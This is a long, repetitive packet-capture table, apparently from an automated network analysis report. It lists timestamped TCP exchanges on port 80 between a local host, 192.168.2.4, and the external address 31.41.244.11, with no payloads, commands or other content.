                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.105848074 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.105887890 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.106818914 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.106863976 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.106929064 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.106972933 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.108059883 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.108103037 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.108129978 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.108176947 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.109083891 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.109123945 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.109188080 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.109236956 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.110153913 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.110208035 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.110255957 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.111232996 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.111371040 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.111424923 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.112382889 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.112431049 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.112505913 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.113435030 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.113485098 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.113576889 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.114641905 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.114677906 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.114694118 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.114725113 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.115677118 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.115744114 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.115793943 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.116791010 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.117043972 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.117094994 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.118215084 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.118269920 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.118319035 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.119040966 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.119086981 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.119153976 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.120125055 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.120179892 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.120246887 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.121326923 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.121376038 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.121726036 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.122473955 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.122519970 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.122524023 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.122565985 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.123485088 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.123578072 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.123629093 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.124540091 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.124725103 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.124774933 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.125704050 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.125814915 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.125859022 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.126894951 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.126945019 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.127005100 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.127887011 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.127935886 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.128000975 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.129039049 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.129087925 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.129153013 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.129196882 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.130109072 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.130202055 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.130250931 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.131217003 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.131340981 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.131386042 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.132354021 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.132414103 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.132493973 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.133415937 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.133462906 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.133528948 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.133588076 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.134506941 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.134601116 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.134649038 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.135639906 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.135721922 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.135771036 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.136719942 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.136769056 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.136832952 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.137583017 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.137814999 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.137857914 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.137936115 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.137985945 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.273207903 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.273252010 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.273303986 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.273309946 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.273339987 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.273348093 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.273360014 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.273591995 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.274585009 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.274638891 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.274667978 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.274719000 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.275495052 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.275552034 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.275583982 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.275631905 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.276534081 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.276582003 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.276675940 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.276721001 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.277568102 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.277700901 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.277749062 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.278666973 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.278757095 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.278811932 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.279795885 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.279901028 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.279949903 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.280874014 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.280922890 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.280987978 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.282033920 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.282083988 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.282147884 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.283092976 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.283139944 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.283205032 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.283250093 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.284207106 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.284265995 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.284404993 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.284693956 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.285357952 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.285408974 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.285507917 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.285588980 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.286406994 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.286591053 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.286638021 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.287511110 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.287568092 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.287638903 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.287739992 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.288642883 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.288733006 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.288750887 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.288775921 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.289710045 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.289757013 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.289813042 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.289856911 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.290854931 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.290899992 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.291049957 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.291090965 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.291981936 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.292148113 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.292191982 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.293032885 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.293148994 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.293194056 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.294183969 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.294229984 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.294269085 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.295300961 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.295345068 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.295373917 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.296437025 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.296482086 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.296500921 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.296540022 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.297471046 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.297570944 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.297585964 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.297604084 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.298573017 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.298614979 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.298707962 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.298742056 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.299675941 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.299722910 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.299799919 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.299844027 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.300829887 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.300930023 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.300976038 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.301915884 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.302007914 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.302051067 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.303021908 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.303064108 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.303107023 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.303606987 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.304105997 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.304148912 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.304200888 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.304244041 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.305238008 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.305282116 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.305368900 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.305411100 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.306375980 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.306420088 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.306512117 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.306555986 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.307455063 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.307497978 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.307681084 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.307723045 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.308521986 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.308564901 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.308667898 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.308711052 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.309696913 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.309813023 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.309854031 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.310823917 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.310956955 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.311002016 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.312021017 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.312063932 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.312130928 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.312588930 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.313266039 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.313309908 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.313411951 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.313455105 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.314327955 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.314354897 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.314368963 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.314390898 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.315233946 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.315275908 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.315390110 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.315433979 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.316355944 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.316373110 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.316416979 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.317420959 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.317593098 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.317645073 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.318670988 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.318732023 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.318774939 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.319710970 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.319775105 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.319861889 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.319905043 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.320775986 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.320822954 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.320899010 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.320943117 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.321871042 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.321887970 CET804976031.41.244.11192.168.2.4
